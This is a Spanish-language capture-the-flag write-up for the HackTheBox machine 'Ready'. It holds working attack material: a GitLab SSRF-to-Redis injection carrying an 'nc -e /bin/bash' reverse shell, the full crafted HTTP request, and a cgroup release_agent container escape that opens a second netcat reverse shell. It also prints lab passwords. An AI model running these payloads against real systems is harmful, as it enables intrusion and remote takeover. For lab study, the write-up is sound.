Nmap
Puerto 5080
Explotación
Post explotación
Shell upgrade
Enumeración
Privilege Escalation
Escapando del contenedor
Obtención directa de la flag
Obtención de shell root en el host
Welcome to the Ready writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Ready
tags: HTB
Medium
Linux
Platform: Hackthebox
Difficult: Medium
S.O.: Linux
Link: Click here
Enumeración
Nmap
kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Ready$ sudo nmap -sS -p- 10.129.48.170 --open -n -T5 -oN AllPorts.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:25 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Ready$ sudo nmap -sC -sV -p22,5080 10.129.48.170 -n -oN PortsInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:27 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snipets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.48.170:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds
Puerto 5080
Parece que hay un repositorio.
Explotación
Según la verisón de Gitlab instalada, podemos encontrar este exploit.
Para explotarlo hay que importar un proyecto en GitLab usando ("Import by URL"). Para ello vamos, a "Create new project/Import project /Repo by URL".
git://[0:0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf.git
Llenandolos formularios con los siguientes parámetros. (El project name y project slug puede variar).
Interceptamos la solicitud de crear el proyecto con burpsuite.
POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=http%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
Para explotar esta vulnerabilidad tenemos que encodear el siguiente payload en formato URL, cambiando el usuario y puerto a donde apuntará la reverse shell.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc -e /bin/bash 10.10.14.147 4444\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
El resultado es el siguiente.
git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec
El payload hay que introducirlo en la vairable import_url%5D=
, sobrecribiendo los valores de la URL quedando de la siguiente manera.
POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
Finalmente, ponemos un puerto a la escucha y enviamos la petición.
Post explotación
Shell upgrade
python3 -c "import pty; pty.spawn('/bin/bash')"
ctl+z
stty raw -echo
fg
reset
screen
export TERM=screen
export SHELL=/bin/bash
Enumeración
En /
existe el fichero root_pass
, con permisos de lectura obteniedno la siguiente contraseña.
YG65407Bjqvv9A0a8Tm_7w
Pero esta password no nos ha servido para nada, tenemos que seguir buscando...
git@gitlab:/opt/backup$ grep -iRl 'password' ./ 2>/dev/null
./gitlab.rb
./docker-compose.yml
git@gitlab:/opt/backup$ cat ./docker-compose.yml | grep password
gitlab_rails['initial_root_password']=File.read('/root_pass')
git@gitlab:/opt/backup$ cat ./gitlab.rb | grep password
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
Privilege Escalation
Ahora si, con la contraseña 'smtp_password' encontrada dentro del archivo 'gitlab.rb' podemos autenticarnos como root dentro del contenedor.
git@gitlab:/opt/backup$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/opt/backup#
Escapando del contenedor
https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1
Obtención directa de la flag
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Obtención de shell root en el host
Nota: No te olvides de cambiar la IP y el puerto
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.xx 4444 > /tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.xx] from (UNKNOWN) [10.10.10.220] 35448
/bin/sh: 0: can`t access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)